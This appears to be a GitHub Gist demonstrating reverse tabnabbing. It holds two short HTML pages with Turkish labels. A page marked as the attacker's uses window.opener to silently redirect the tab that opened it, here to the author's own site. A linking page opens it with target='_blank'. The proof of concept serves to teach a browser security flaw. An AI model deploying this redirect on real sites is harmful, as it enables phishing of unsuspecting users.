Skip to content

Instantly share code, notes, and snippets.

@MuhammetDilmac
Created June 12, 2016 00:42
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MuhammetDilmac/761e2e0a689acbba0702d64c9d08c2ad to your computer and use it in GitHub Desktop.
Save MuhammetDilmac/761e2e0a689acbba0702d64c9d08c2ad to your computer and use it in GitHub Desktop.
Window Opener
<html>
<head>
<meta charset="UTF-8" />
<title>Saldırgan Sayfa</title>
</head>
<body>
<p></p>
<script>
var tagP = document.getElementsByTagName('p')[0],
text = '';
if( window.opener ){
var status = false,
new_page = 'https://muhammetdilmac.com.tr';
status = (window.opener.location = new_page);
if( status ){
text += '<br/>';
text += 'Kaynak sayfanın bulunduğu sekme artık ';
text += '<strong>' + new_page + '</strong> sayfası oldu.';
}
}else{
text += '<strong>Opener boş!</strong>';
}
tagP.innerHTML = text;
</script>
</body>
</html>
<html>
<head>
<meta charset="UTF-8" />
<title>Yönlendiren Sayfa</title>
</head>
<body>
<p>
Yerel Sunucum: <a href="http://192.168.220.129/tmp/" target="_blank">192.168.220.129</a>
</p>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment